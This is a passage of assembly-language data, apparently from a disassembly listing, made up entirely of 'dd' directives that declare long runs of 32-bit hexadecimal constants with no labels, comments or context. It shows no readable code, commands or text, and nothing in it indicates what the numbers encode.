		dd 0CE5F40D6h, 9850172Ah, 0CABA050Eh, 27BC812Bh, 517B70EEh
		dd 36229101h, 0BA2D218Ch, 0A0C4976Fh, 6AC66F09h, 3912B4E4h
		dd 5F00799Fh, 0DD50D2C2h, 9EDE0573h, 88A09917h,	2B097AC5h
		dd 0A0A804A9h, 3C3EDCB3h, 9ECC59B1h, 30AF824h, 0B3A51B31h
		dd 889F381Eh, 960EBC80h, 5C5E2036h, 350C786h, 732D489Dh
		dd 0A700D03h, 8E050399h, 2E7418D0h, 481F00C2h, 31722FAEh
		dd 0E25E9232h, 2383D8C0h, 0EA6ABB00h, 74A0881Ah, 0F9901E3h
		dd 61C9B347h, 80E8D3CDh, 70BD957Dh, 9090F8h, 23F57CFEh
		dd 933409BCh, 846C4313h, 91BA6280h, 0E24E39E7h,	17812C00h
		dd 5AF67F01h, 73D4A58h,	9F16668Bh, 0A54828B0h, 0F25E02D7h
		dd 208C21A3h, 0A68B59C4h, 0C6574AA1h, 83B99248h, 94EFDD48h
		dd 805D7066h, 1290012Ah, 0FE1F2726h, 33E18647h,	0D8603D99h
		dd 8E5600D0h, 6DB1769h,	0E0607AF1h, 0CD116B12h,	8A7B13B7h
		dd 100C40FCh, 9A34B292h, 15A7E730h, 0FE759F90h,	0DEDD00F4h
		dd 275AECB6h, 717F2E67h, 3FFBA900h, 3E06769Bh, 2612FAA1h
		dd 0BF266Dh, 43D155C7h,	0B7031FA9h, 0EBABDE5Eh,	25380020h
		dd 7B2EB37Fh, 0D31C65E2h, 21584839h, 432311Ch, 63192745h
		dd 9EC4EE1Bh, 4BE25EC1h, 77BB20BFh, 4DEBA600h, 75C95F15h
		dd 0DDB35926h, 50FA6200h, 602F6F22h, 0C3E1C0D8h, 2600802Dh
		dd 8D08788Fh, 0F22C810h, 2948E2D6h, 7B5673E0h, 7D3A0F84h
		dd 66673004h, 80168Ch, 90BA22BCh, 0EDB0AE6h, 682A23Ah
		dd 0FC710329h, 2557006Eh, 4B6FCBD9h, 12B8E1A1h,	0B9850700h
		dd 3B49952Bh, 4F5903A5h, 66BCFCB5h, 11545C24h, 6F233604h
		dd 68193281h, 0CC7950EFh, 3D80B24h, 28215CFDh, 0C43ED37Dh
		dd 87EA11ACh, 8CBF4600h, 0DA2B47B3h, 83A53A0Dh,	0F821C03h
		dd 4800768Fh, 0E3D72381h, 19872E4Eh, 0F29ABF27h, 2301C759h
		dd 9501E9BBh, 9EDCF480h, 463F007h, 5C7852ECh, 91489094h
		dd 0BF1E5E7Eh, 1980E075h, 0FEBEF38Dh, 1644C072h, 0DA70A48Ch
		dd 0B0181D9Ah, 0CAC056F8h, 0E87C34h, 18C4C21Eh,	0DDAC84F6h
		dd 9C0C1739h, 474BE6C0h, 622208Dh, 71C3B95Eh, 0FE0B3DCEh
		dd 15C4697h, 793968B0h,	9B14800Ch, 1BBF7B09h, 9EB100F1h
		dd 0EAF448DEh, 0F91C5553h, 72584E43h, 0DCC62Ah,	0D4A14149h
		dd 0FF3D0628h, 0CF5D3100h, 0DAA2B763h, 0A54F040Ah, 0C02AC004h
		dd 333027CFh, 5FDD3404h, 96C792CEh, 41EB45C0h, 1AEF0037h
		dd 83FE881Fh, 57139F50h, 5B1E6677h, 52E47341h, 33D52EB8h
		dd 6815F8h, 0B736C7DDh,	0D09A8C9Ch, 0AD5C941Eh,	6F697380h
		dd 9007DFC5h, 2E009218h, 89BE1E58h, 78083F9h, 5BA538C9h
		dd 44B47501h, 3DDF09B0h, 4A2E002Ch, 7850973h, 0BA504203h
		dd 1D947C00h, 0EB555A9Dh, 0C52D1C77h, 70F5C0A9h, 0EEE8A1E7h
		dd 2263B0FCh, 39603C5h,	6970D2Ah, 64EB8B35h, 2E42AED8h
		dd 36D7F91Ah, 749E0098h, 1841AA8h, 0D3AD4FE9h, 2C0C5C73h
		dd 54E6017Ah, 0ED3C3BD2h, 0C623760h, 4A4D7FBBh,	0FF900FDCh
		dd 5B77CF04h, 2C80C4B4h, 387FC745h, 669DBE53h, 69B5C56Ah
		dd 6F14C16Dh, 0FC882163h, 0A916D367h, 0D7B15E55h, 0F5A4AD3Fh
		dd 0BD8A29F0h, 9962BCD4h, 3CE2F92Bh, 0EBC74C03h, 30F15B07h
		dd 9CBC2B39h, 468F53A0h, 348B0816h, 3BBD95FCh, 0E9F0E5BDh
		dd 37B8ABC2h, 9B4DDD0Fh, 833760BDh, 0EDBE0DC1h,	0B8C2F0CBh
		dd 0A2CF6099h, 0E0FFC503h, 0A5D4F800h, 0D51C3D58h, 0B161007Eh
		dd 56EA4F32h, 0AF0A64ACh, 0E6141D18h, 362B2000h, 160652Ch
		dd 25CBDA6h, 0C30A1B70h, 40E4ECD0h, 0AC612912h,	0FA419900h
		dd 5A426Fh, 338C2A6Dh, 0C79A4AD6h, 8B1ED200h, 0D91F704Ch
		dd 5E420023h, 6D562B0Fh, 0B03696Fh, 63C8EE26h, 0E368D86Bh
		dd 92481F44h, 0B2A380F0h, 0EFAD304Ah, 0B67C6209h, 77FA0096h
		dd 1C23CEECh, 1BE4DAh, 65201C9Bh, 20BD11E8h, 0C6B49F07h
		dd 0AA100E2h, 0CEDF62F5h, 1A0BE488h, 85BC9704h,	0AC80B2F8h
		dd 0C064BEC3h, 79C48036h, 0F7CF633h, 0A04D066Eh, 1B17D6D8h
		dd 34FF0657h, 1D05E81Eh, 0CFCE9C03h, 1664BD0h, 5AF47E28h
		dd 40E9605Fh, 0B00ABA12h, 8B66BFA0h, 8161F000h,	140407F7h
		dd 0EFC6305h, 74E0E00Eh, 37C00BE9h, 0DA41B950h,	2CBE0245h
		dd 729D8C1Bh, 19BA1E40h, 0F28F27Ah, 0E8507884h,	0CC069957h
		dd 0BE3F0482h, 4CCA0194h, 0E8575AD1h, 3425800Eh, 0ACC55E69h
		dd 0D30C001Bh, 0CA9BE4E7h, 8A2D76FDh, 334BC0E3h, 0A88300Fh
		dd 0D4BF6035h, 2D7F941Fh, 61C6183Bh, 0C83CA08h,	7E902EEh
		dd 5902C72Bh, 8FA362D1h, 9A463C6h, 9C48FEE4h, 45202855h
		dd 0E9C94230h, 6111C32Eh, 0AD900646h, 0C3AC603Bh, 0BD086ECh
		dd 0DCF504D4h, 40AFE961h, 718F6408h, 6C002BA2h,	5FE8925Eh
		dd 0BCCB066h, 5DE26A0Bh, 7B91DB00h, 0E4E44FA2h,	0FEEAE107h
		dd 1187AB82h, 2C0A987h,	0C7B6CD78h, 80B9A208h, 117F60F8h
		dd 21CE1AB8h, 82C8834Ch, 22110179h, 2968FD8Dh, 811C4547h
		dd 8063CDA1h, 37C0CF11h, 800AC293h, 4B08B44Fh, 961E2668h
		dd 5C4C0382h, 1038638Fh, 85628402h, 4926652Bh, 881C5B40h
		dd 0A574F982h, 270450A4h, 98830B03h, 33C2805Fh,	0D244CD68h
		dd 636776B8h, 0B4417608h, 4FECA37Bh, 8120DD53h,	0DBC2E8A4h
		dd 0D7108041h, 0F3A1BF03h, 4325070Ch, 4097CEEEh, 0F2F878FBh
		dd 0AB831800h, 7CBF8FDAh
		dd 790A0F26h, 0A604C6D5h, 0C83069Ah, 0BC570389h, 0AE3BF7A8h
		dd 94D280ADh, 6E1E09ABh, 3000ADA6h, 677BAFB0h, 1E04E8A7h
		dd 0D0864Fh, 8BCBF5Ah, 0BA3A8236h, 0CD007D02h, 0B5A04903h
		dd 0F6935928h, 0BD4D1D11h, 0A24740D6h, 9549F4B0h, 37F5AF03h
		dd 0DD09B1A6h, 78273828h, 0E9B87834h, 228C184Ah, 1A78BE08h
		dd 69B0A060h, 0F7ABB7h,	2802B853h, 22ADBC34h, 0D24F5000h
		dd 0D1A033F5h, 1567816h, 0B34DF3CFh, 40A229CBh,	17DF9C68h
		dd 0B26A93F0h, 4A31C39h, 48D12BE2h, 1529E35Ch, 0C88C5D3Eh
		dd 38D48E02h, 40280Ah, 0CF4095D9h, 30A56503h, 7FC0CF8h
		dd 5278B419h, 833F228h,	18747A48h, 3642E697h, 50527960h
		dd 12792C78h, 11F52E18h, 368D0CA0h, 0FD0C1D88h,	0D30B8F7h
		dd 59B5E694h, 8537A090h, 70C629EEh, 0AA9F1240h,	7874437Ah
		dd 590A4A18h, 78EF0EB9h, 6714F5A4h, 0DFF22158h,	0C8EF1A90h
		dd 37E477E7h, 0BEC0DE3Ah, 602B6939h, 495C78A2h,	0ED06CC6Ch
		dd 28E4B201h, 2F4DC007h, 0F4B402Dh, 91219F38h, 0EA2F04AFh
		dd 0B8C05DBFh, 352A48Dh, 27A50DC6h, 1904B80Ah, 58266902h
		dd 67D8FC90h, 0B09C4CF6h, 93E7E503h, 0C0A1648Bh, 780C4347h
		dd 3415C3D9h, 0DE509514h, 0DBE02758h, 64A7E229h, 0A4111FD1h
		dd 8AF03042h, 0BC048CAAh, 0B808243Ah, 3A7425Bh,	0D60180C8h
		dd 4C19A161h, 0F84C9743h, 62E0A252h, 835C4170h,	37482009h
		dd 0C5401B8Bh, 68F9C179h, 5B8C4C53h, 1E4358Ah, 2D1B4DAEh
		dd 647C32C2h, 9026B198h, 4A161042h, 4CF8414Eh, 0BCD77E98h
		dd 0DAA69418h, 0E028CD88h, 6442AC31h, 98621254h, 403A9413h
		dd 0E1E0D49Ah, 831AE212h, 28AE0C22h, 0A3BD5180h, 0E10A0C99h
		dd 451C8C7Bh, 4E22C3Fh,	116729FEh, 0D97BE88h, 0F48410A6h
		dd 1041E21h, 4058B1B6h,	60924D23h, 5709BE12h, 256F2832h
		dd 72807279h, 0C20CA0A8h, 8C808EBEh, 8BAFE71Bh,	42F60C99h
		dd 0A804A5DDh, 16329AC6h, 3B518028h, 170C99A3h,	3B561F47h
		dd 23AA9C49h, 0EB43D49Bh, 9F4FB164h, 624121A0h,	1441E26Dh
		dd 9AA11268h, 2574C4D8h, 0DC0AD026h, 5CB8F850h,	0B8158A8Fh
		dd 49C43EE4h, 81DFA8A6h, 7959CD0Ch, 0D8885204h,	6C92816Fh
		dd 4CAA2F58h, 0B5512C4Dh, 46CAF81Ah, 3905F85Ch,	10601288h
		dd 85444A2Ah, 78F18724h, 9176FE0Fh, 0A014DA14h,	0CC08DC51h
		dd 962912A6h, 918400E8h, 7DA286AAh, 0CAC49250h,	0EE88FE7Ch
		dd 29E380ACh, 3C23A891h, 0B91C7202h, 0E88A3CFDh, 92373C38h
		dd 2A8FB77Fh, 753C8ED8h, 0E2662313h, 381EEC2h, 0A6C8808Dh
		dd 90075E49h, 4F6924CBh, 0E0701F83h, 7C5B22DDh,	0A2272895h
		dd 0DE9D3E14h, 4826717h, 0E426E224h, 0C007B67Ch, 343170B0h
		dd 39B0B809h, 69F4A146h, 1BB320C6h, 0D83B5728h,	43931242h
		dd 8AC6014h, 4CD6A3Bh, 114D0DEh, 13A610A3h, 44C87430h
		dd 9B14F45Dh, 0F120DD9Fh, 481813E1h, 153D80Fh, 0BB96012Fh
		dd 83451CDh, 9E3F00C4h,	5E0F911Ch, 0A900E714h, 65AF3775h
		dd 2951FBE1h, 82D4A15Ah, 0A6833B80h, 0BDBEBC48h, 52BF9005h
		dd 88400B26h, 53EEF56h,	8BD20185h, 86279583h, 5215DC43h
		dd 93089160h, 8013A47Eh, 5C011AA2h, 2F4B1197h, 0A0F3A514h
		dd 19B2A84Fh, 41940D6Fh, 19C098D9h, 0FFF7F221h,	16B0F0A8h
		dd 462B654Dh, 183D46A8h, 0A768E0ECh, 521D80A9h,	9337D502h
		dd 3AC46483h, 3901B04Ch, 2B5FE35Ch, 4829CAh, 7A3D3E59h
		dd 233370h, 0C779977Dh,	2BA4AC5Dh, 0CA6BFC00h, 0FDDF5C54h
		dd 0D3617DD6h, 1FC41280h, 0E274A68h, 1DE28A88h,	178B0CABh
		dd 0D1CC83C8h, 1CCC211Bh, 1FE715h, 83314137h, 0FE2819E2h
		dd 0A702B8EDh, 3C5B7EB0h, 3200FDA9h, 5186678Ch,	92C30D00h
		dd 9EF344A5h, 0C29F124Eh, 23C0480h, 2844C0A7h, 0D1C040CAh
		dd 5AA4DA6Fh, 47CE1CC6h, 5209F3A6h, 0D28F2118h,	148B72DAh
		dd 68411DEEh, 0BDECA802h, 0CCC00DB9h, 644D2A90h, 5F581C54h
		dd 5EE2A600h, 66FB0E63h, 21530866h, 1E572538h, 0E740375Ah
		dd 0F493FBE4h, 0F94A0C5Dh, 16E1F392h, 879A2812h, 5FCA0C06h
		dd 7CFC0191h, 0B1FF4345h, 1B10C472h, 0D2E4600h,	0AFBB1298h
		dd 201D48A3h, 0C52BD814h, 5A12F33Ch, 802C1396h,	24F277ECh
		dd 0E1ECBA0Eh, 4824802h, 0C0DD3767h, 9FD3ED7Ch,	0D550D274h
		dd 86505FD0h, 3E8C159Ch, 0C691A4A5h, 806A88A6h,	7A4DD80h
		dd 7609856Fh, 80050A4Ch, 0BE954715h, 0A46C50C9h, 0A91F00A3h
		dd 3FC8EBFAh, 0C210933Bh, 0DA0165A1h, 2BAFF51Bh, 349C506Dh
		dd 6400AB89h, 0A30AE33Ch, 18AE5CFFh, 0D82D2B3Fh, 9E7211ECh
		dd 0B0C26490h, 22512A69h, 2C481026h, 0A0000F55h, 87FE4DBBh
		dd 1862A721h, 40F80BADh, 0D8831B2Eh, 900A9D39h,	0BAF830h
		dd 2D440ECEh, 226BD962h, 0DE33100h, 6E7F70A7h, 58618A81h
		dd 40CF3041h, 4A0137F8h, 0FD6D7B1Eh, 81801727h,	16E3B0EBh
		dd 0DD7FD196h, 0A12A0600h, 88B8A898h, 1FAECB3h,	20F163A6h
		dd 0CD1145B9h, 3ED042BBh, 4B948322h, 4AD490D4h,	0B5CC0739h
		dd 63D9D1F1h, 0ED823CA6h, 50D6B482h, 0C6CAE480h, 520747E6h
		dd 64A983A5h, 0FC85A134h, 10BC1811h, 1F7D7A6Dh,	80F30975h
		dd 51CE5A64h, 0B7E62D81h, 0F7F92B09h, 48B40D8Bh, 24205830h
		dd 1E887BB5h, 402C66D2h, 134D9782h, 0EE192D7Ah,	9F092567h
		dd 4062219Dh, 0D5B19C4Dh, 0C7047A05h, 22688D1Ah, 0F27A242h
		dd 0E4B47CDAh, 481474A4h, 0AEE519C8h, 14109570h, 1700E15Dh
		dd 63C9863Fh, 0D70C26h,	0C8FFA299h, 41A50F40h, 0A94C94FEh
		dd 0E61184BCh, 505384D8h, 4982E0ECh, 80183869h,	424B21A8h
		dd 6F15301h, 5C75956Eh,	9F121832h, 0D8B403DCh, 0A9E96858h
		dd 0AF0880DAh, 59A39A44h, 2669281Ch, 0C4AE486Ch, 55D85A09h
		dd 1362005h, 0DBD28DA0h, 0B4D03047h, 45606474h,	39128A31h
		dd 88F42C8Ch, 0C182D30h, 0D80042B8h, 95FA0104h,	13521A61h
		dd 49ECA090h, 14108038h, 143CAF3Fh, 0F9A28F2Eh,	585C01Dh
		dd 0B1C42Ah, 386AE432h,	0D840AD96h, 91830218h, 76739h
		dd 0D38A6C85h, 0F6BF496Fh, 7B7F1414h, 54D88580h, 8C45881h
		dd 0E70B9984h, 1128A035h, 92CAEA00h, 0D69544CFh, 18626981h
		dd 5E1C8C84h, 0CB69AB07h, 0F3BA2510h, 73CF00FBh, 0F7782CBBh
		dd 0E2007791h, 0A995639Eh, 59FFF22Dh, 0AB317062h, 695B10h
		dd 542968C2h, 0F8CE908Fh, 48B0FCD9h, 4D0F1CC3h,	9E890DDBh
		dd 0C05DD4B1h, 6E46E2A4h, 3B385F22h, 0AB120055h, 542F2C5Ah
		dd 7623F275h, 0DBDA2C98h, 832B8DB4h, 54D64731h,	0D8A8C0E3h
		dd 4EF07A5Ah, 0F028309Ch, 2618B209h, 0B08F08DBh, 467E9D80h
		dd 39F444DEh, 9A8F4B50h, 1000DAD4h, 0F0BCB480h,	8340B4Ah
		dd 4D74EA00h, 0F46D089Eh, 6790305Ch, 0A6FD0681h, 76FA8000h
		dd 212F3863h, 205CB045h, 0CA5F798Dh, 1A085C40h,	1362368Ch
		dd 40613E66h, 0A0AA430Ch, 0A662F878h, 0FA885C71h, 0D7ED004Ch
		dd 626A409Fh, 1D5DDF58h, 0F03A932Ch, 8091F23h, 0A544803Ah
		dd 9528A95h, 5D69739Fh,	0CE9358A2h, 83022C44h, 5F110FA5h
		dd 0C01CC35Ch, 13D869BAh, 1722E9Fh, 5201EFC0h, 41B983B0h
		dd 64EFD70h, 267FD8F1h,	790B289Eh, 102A9FC6h, 7878722Ch
		dd 0AA460257h, 686B30B1h, 344398C2h, 9D632AD6h,	12E2ED38h
		dd 0CAAE4E70h, 62BF12BCh, 809D489Ch, 0F724E2ECh, 8B823C11h
		dd 446FB9E6h, 93FF2090h
		dd 5F940109h, 418C4E97h, 11200F19h, 0C4909758h,	19048C7Ah
		dd 0F78BADE7h, 0C8201A62h, 0E2A4E711h, 5891043Fh, 0B073A37Bh
		dd 0F272E17h, 70D8202Bh, 0ECEE04B1h, 0FA8E810h,	4E7D4611h
		dd 8B62FDC0h, 4464F5D6h, 4B25D98h, 77D2200h, 0ABAA6EE5h
		dd 4543CE0Ch, 25BD5030h, 0D407685Ch, 754E4F2h, 0A824A01h
		dd 790870E0h, 0D6ECA4h,	29B4FAB8h, 4EADA8D1h, 95BE4718h
		dd 72E4FB68h, 4BA95CEAh, 73CB7A00h, 52DB3CCEh, 69118D02h
		dd 54DD05E3h, 835C62DCh, 18006C44h, 1103DC45h, 6307F22Fh
		dd 0E4DA7859h, 482A41A1h, 0BB3A8A80h, 0B2B08704h, 95E0996Dh
		dd 2A98FE2Dh, 14F70Dh, 825B1C49h, 4BCA859Ah, 562953Ch
		dd 0F5A69CC8h, 7D4DCC81h, 0AC409440h, 2F2200CBh, 0A58C8E3Fh
		dd 0FC008F5Ch, 0EC024CA3h, 90FFDEF9h, 0B3BE1E68h, 2C1640B8h
		dd 5C3255A0h, 18F5C800h, 9976714Dh, 17CD0036h, 6B42631Fh
		dd 0A139ADF9h, 94C581F6h, 0C3BB1683h, 7C1BB5F8h, 247B00A6h
		dd 7C8D5FF2h, 23E7501h,	28F93003h, 2356B8h, 0DE799AFAh
		dd 6B6F3DCCh, 97D3AC01h, 0ECCF5C38h, 5880F300h,	6CD48400h
		dd 54CC6A05h, 0F2B9013Eh, 0A33AB408h, 0DB95D83Fh, 0EEE1750Ch
		dd 4A0E8h, 661C79Bh, 0E6C9F7C5h, 6A18E360h, 3099753Bh
		dd 1610C602h, 4D1C2AF4h, 0E040C496h, 13013937h,	73641E0Ah
		dd 4479FCE1h, 240EAD1Fh, 83575C80h, 0C09B7BCFh,	0E607F13Fh
		dd 26B1C0DBh, 2273BC75h, 0DA87400Ch, 54F44Fh, 42AE482h
		dd 0EEA5E5ABh, 6836790Eh, 80F58EE8h, 1ECC42E9h,	49263BF8h
		dd 0FE87FB07h, 0E589C0E6h, 88073AA1h, 0BCEEBDDFh, 8FF3AE20h
		dd 8F46F937h, 6911C328h, 0BDE088F5h, 0E90085FFh, 0D0893AAFh
		dd 0BCFEA1h, 0FD0415E0h, 84EE57E4h, 8CF02CF4h, 8EF6E578h
		dd 9469F206h, 8DB8521Ch, 0F0C07D04h, 90FD2D07h,	962B05B4h
		dd 2CBACFAAh, 6B6F2E18h, 0EABBE011h, 12773E0h, 0F75CAFFFh
		dd 0EDDB3B7Eh, 0C91980E8h, 5D578001h, 0EDA5068Fh, 40DB9ADDh
		dd 25023Ch, 6FD32E4Eh, 943657h,	787CAEA1h, 46043A03h, 280092FEh
		dd 874A99CBh, 0EC261CA5h, 0EDE30731h, 0CB3B4703h, 0BCFB0100h
		dd 5003CB5h, 10F25C3Ah,	588048E7h, 19601D1Ch, 1BD05D02h
		dd 851370C0h, 0C1EEAD49h, 0AF578681h, 50D9875Ah, 9EAEE81Eh
		dd 0F8B1DA1Fh, 0C08FB092h, 7CF53EC6h, 8CAEEF00h, 0A560B602h
		dd 0D9C4838Dh, 10482620h, 3B7F0682h, 86824D7h, 5F87848Dh
		dd 1CC0508h, 99CAC6BCh,	0C9BC5038h, 723711D1h, 0B6C24069h
		dd 79C084Dh, 0DC4EA135h, 0B1C18A78h, 0FA7B9852h, 11DB8C5Ch
		dd 0E3E4110Bh, 9E8005CBh, 9550BD5h, 107288h, 0C606C3F4h
		dd 2E3FA5B5h, 31F869h, 936468DFh, 60895B8Eh, 9C57AC19h
		dd 48419B21h, 0DFE01DA5h, 122893DBh, 0C6642B47h, 0F08A417h
		dd 47D605C9h, 8926AE80h, 1E00A2FDh, 6838C206h, 0E9A5DAh
		dd 0EB2CE2BCh, 57BDE59Bh, 63E9E3F0h, 0E1FE0178h, 0E989E8E6h
		dd 37F05461h, 6F95005Bh, 78F5A232h, 0B70AA8E1h,	44FB4821h
		dd 0B1CDB260h, 0ECF50A7Bh, 0C004BF8Fh, 0BAFD8E21h, 400CFE53h
		dd 0F31FCC08h, 5322DAFFh, 43143086h, 9D8F089Fh,	876F1888h
		dd 0BC21F5Ah, 90A097DBh, 9C731D8h, 1048A437h, 6808A619h
		dd 0A4C59DBh, 0D130A433h, 5F3194E3h, 315DB348h,	4D097119h
		dd 191049D9h, 4CAF108h,	22C77004h, 9CB7B709h, 32C75EC1h
		dd 565A0C48h, 50408C3Ah, 63991943h, 0BB1D281Eh,	1F09E431h
		dd 19911848h, 3B443A22h, 12258924h, 48272426h, 22219120h
		dd 2C234422h, 2E122D89h, 284F2F24h, 6C828F80h, 8E0C88F0h
		dd 0C95AEA0Ah, 0B8D96586h, 3B842C9Ch, 55D604A5h, 0A6400850h
		dd 3EFF21Dh, 9DA91CDDh,	80E36CDBh, 0E000ADE3h, 871F5B21h
		dd 3AE71DDCh, 0D91EE3EFh, 0C13AFC9Dh, 0C93C533Eh, 0ED14064h
		dd 8D20B0A9h, 3F5B4200h, 551D5187h, 6B334A16h, 443FF48h
		dd 0DEC9AAFFh, 0BF808859h, 0CB076E8Ah, 0F0F4458Ch, 38A586D2h
		dd 11FD1158h, 377078Eh,	58FEC56h, 6C09226Dh, 4171882h
		dd 0C0CF5DF5h, 9EC3B37Ch, 3C8F03D3h, 57993E98h,	0DB4A211Ch
		dd 563869h, 6B9EDC29h, 18DED91Ah, 0D130B07Ch, 0F466189Ah
		dd 4B920159h, 0C928EF86h, 311C4381h, 0D30E2FE0h, 0E7FFFB0Ah
		dd 824528DEh, 0C5E470EAh, 5D631E58h, 1212E41h, 0D1FE3531h
		dd 0D484F9AFh, 4E7C51BBh, 89F8A80Fh, 79F200DCh,	78DAA3E3h
		dd 0E8570143h, 0ED2CE1FFh, 14B9DE82h, 0A2EBE0FCh, 0AED330C0h
		dd 0E0ABF5h, 5679FE57h,	0E484E9A8h, 83FF1F00h, 1C28A1E3h
		dd 0BC7E27h, 3586D38Eh,	292BDD78h, 0FC2C18C0h, 0EA5CC83h
		dd 0BDD38F54h, 2801809Bh, 0E32AFE9Bh, 0F9D0D080h, 2BEE0188h
		dd 57E643A4h, 1831BDFDh, 0D159D089h, 0CEA5369h,	351DA842h
		dd 0F9A18EFFh, 0EB2CE7C1h, 0EE884088h, 6853E485h, 969F07DCh
		dd 3A07A6F9h, 3D98D581h, 17FE850h, 5DB6129Dh, 0BC10578Fh
		dd 617FA090h, 5B740FD9h, 3F073E48h, 0D098572Ch,	0D32E0186h
		dd 0D2DEA11Dh, 803A058Fh, 3851D0Ah, 149C036Ch, 3599D5FDh
		dd 17FF7100h, 1A42C23Ah, 5A1F4041h, 0C80C5374h,	2843B75Eh
		dd 47D23A7Bh, 0DDE230Ch, 0A6742EC9h, 1F4518A6h,	21E76890h
		dd 202E1221h, 63059D30h, 0D5C441BFh, 81C15988h,	31E4442h
		dd 48C51973h, 90083A40h, 9B060EA5h, 0DD1ACC9Eh,	0FB637359h
		dd 184B0481h, 59C35D79h, 0E1C0A825h, 0F3B4C937h, 5A240CD6h
		dd 9C20D8E1h, 36144FFAh, 23D0D323h, 0C448106Ch,	1960B5BDh
		dd 6E31AEA3h, 402F30A1h, 0D1D9B986h, 0C3776913h, 66B0290Ah
		dd 8391A48Fh, 595CC005h, 1DDC0C38h, 0C43DDFF1h,	723161D1h
		dd 188A408Bh, 0A4C991Fh, 2058851Ch, 0B71B2284h,	0B6BB1D09h
		dd 5518066Ah, 49830CB9h, 431CFADh, 189DAB31h, 4C42D243h
		dd 0E858A859h, 0FB912798h, 0A04124BCh, 2782928h, 99C934DCh
		dd 0D91DA490h, 9B4E6485h, 0BEB86274h, 0E74216FEh, 0AC860710h
		dd 19238626h, 0AD0205D3h, 1F2808E9h, 397C0857h,	91A85791h
		dd 1A8ACF42h, 0A86F1150h, 9C9142EDh, 0A7462828h, 0A2E8DA1h
		dd 0BF111621h, 0A14249A8h, 0F7443B88h, 1823516Ah, 21842E28h
		dd 69F8870Fh, 2E268CD5h, 10495CD9h, 8A3A986Ch, 0C1228C44h
		dd 0FBDB0CE9h, 0CB2140D5h, 0B1D1381Bh, 0FE407C61h, 2B554499h
		dd 0CB31CE06h, 4458F10Ah, 40A18D5Eh, 19789F41h,	4B3F4420h
		dd 99CACE09h, 46A4A670h, 32982910h, 85DE884Ch, 0BC9B0784h
		dd 23B298C2h, 99151EA3h, 803C3C05h, 0DE2D1384h,	0E411C1C9h
		dd 22AEA169h, 0B22E12E8h, 9325DC32h, 0F54909A8h, 6890A3DBh
		dd 0B7489227h, 9C88F7A4h, 8A07C604h, 150110F6h,	25D8C5Bh
		dd 24C9294Eh, 6076E0h, 79EA8852h, 6199CBE8h, 0FB68F516h
		dd 42CE40Fh, 80AA031Ch,	89A1EE40h, 10E4790Bh, 7F80B51h
		dd 0BDC06F5Ch, 74F088E8h, 7FAA7ABAh, 7452FCBBh,	5809F840h
		dd 0B132D8A6h, 0CE09540h, 0FA2E81FDh, 57152469h, 8EFF0340h
		dd 0C0F9A5B1h, 0F99E8715h, 0F0EEA1F8h, 0C130A4F3h, 8FF5A398h
		dd 0E01C4DFEh, 784054A6h, 0E75F01DAh, 0E48EEE68h, 3F604DA2h
		dd 0F5A0708Ah, 80B8FE8Eh, 6D108F0Eh, 88CA8B94h,	83C01878h
		dd 0FBA1E5h, 2E1ED082h,	0C12C2448h, 2C578F2Bh, 63E45625h
		dd 66E0104Fh, 0B35624F0h, 5DA3E38h, 7B66A8F6h, 0FDF8B0C1h
		dd 145DB2D1h, 52401Ch, 0F64266B3h, 0F583564Fh, 0F05CBD74h
		dd 38A94AB4h
		dd 2E6AEC09h, 405DC865h, 0CBF3F589h, 0F0619F03h, 0E1689588h
		dd 0D3DCE9FAh, 26EF7A15h, 123469FEh, 5DDC12F6h,	0FB8F0000h
		dd 211CE9E1h, 98602C24h, 0CC83E380h, 98F02E50h,	0AA51333Ch
		dd 28C6EF08h, 0D339A404h, 20CDE9B2h, 78666C40h,	0ECA524E4h
		dd 602B09ECh, 286B7430h, 0C5914269h, 1342D744h,	0E930405Ch
		dd 0BCEE1D57h, 49FE16F1h, 40313A90h, 0E65824A8h, 0DA8EFE07h
		dd 2940FD10h, 98808AE7h, 79E91ED0h, 58571F2Ah, 0EE8F40EBh
		dd 0D095C098h, 88FB0FCCh, 89CE1E37h, 212AF8Fh, 0FDB7848Ch
		dd 82F3B040h, 0E82BDA01h, 0EB2AF28Eh, 0B12B1CD1h, 55A040C4h
		dd 2B78D385h, 60DF8831h, 0AC21DA9Ah, 510158BEh,	0EEE6FE81h
		dd 4408384h, 0A111E495h, 3092D0FDh, 54B00E9Bh, 0BCEB3098h
		dd 564A11F8h, 57C01CF8h, 2CDC83E8h, 2981F916h, 94AF3CCFh
		dd 16E7A0F8h, 9537F0FDh, 0BC65B8F9h, 0F0966098h, 3EA67809h
		dd 0ED123679h, 9CB8748Eh, 9424EC18h, 8513F0E3h,	83541C03h
		dd 40F5A2D3h, 0E63A68E8h, 3085F9CDh, 87FC2AE4h,	8EEA837Ch
		dd 0FDE8AFC0h, 0B5A8E92Fh, 1396FD34h, 0D1190BEFh, 8459C404h
		dd 0FEB4C2ACh, 3726E4CEh, 0E0C50CBCh, 0E7899880h, 74DCB0BAh
		dd 0E1CCF1FEh, 0CAF2F1BBh, 40C46AA8h, 0C5A6361Ch, 85EB2C09h
		dd 31E429C4h, 0C038A6DCh, 0F3823D82h, 8320E188h, 1030EEC5h
		dd 68E16F79h, 0F9040793h, 0C82B4580h, 8F52F520h, 3C1FD22Ch
		dd 2AD38030h, 0F08E74F9h, 58D6E3h, 69E7FF20h, 82F989EAh
		dd 824842B0h, 40189A88h, 9747CC50h, 61D734B7h, 2E94B2F6h
		dd 0FAB1BCF3h, 8B184EE9h, 2AC820BFh, 29FEAA9Dh,	0DE68EE68h
		dd 89BAF301h, 0F82AEE84h, 5D68D860h, 5102648Ah,	0FFAFFE80h
		dd 0F86618ABh, 0BC509F50h, 9377151Dh, 0EA2D0105h, 84ED20D0h
		dd 0FFA23EDAh, 0C41EE113h, 96D0AC44h, 464B7827h, 9D863AD4h
		dd 5441D202h, 80E0DAAAh, 0A178E682h, 0BDD18800h, 0BCF285E8h
		dd 790B856h, 32658A46h,	502CC85Ah, 0A5DFAB06h, 0E2BA0321h
		dd 0F9BDE588h, 5457DAA0h, 0FF4B80BAh, 63A4C860h, 6F68C2E2h
		dd 0E0E14203h, 848045F2h, 8B342EE8h, 0FBF8825Fh, 0A150FB88h
		dd 5F0B7668h, 0EEE957E6h, 0F5640A90h, 0F0FE68h,	0FD6C9BE6h
		dd 8E009FE7h, 0BCE857E5h, 0C0F3AECFh, 0D394FF21h, 0EEEAF92Ch
		dd 82F5A503h, 2DFC2B37h, 0E090BB90h, 5717071Ch,	0F8D982FFh
		dd 89F3104Bh, 0E82CF2E0h, 6BE16F3Ah, 0E3B08B30h, 0D059A160h
		dd 0DC001C21h, 0B485FC10h, 0CE7900A0h, 0E3FDEA2Ah, 832751E8h
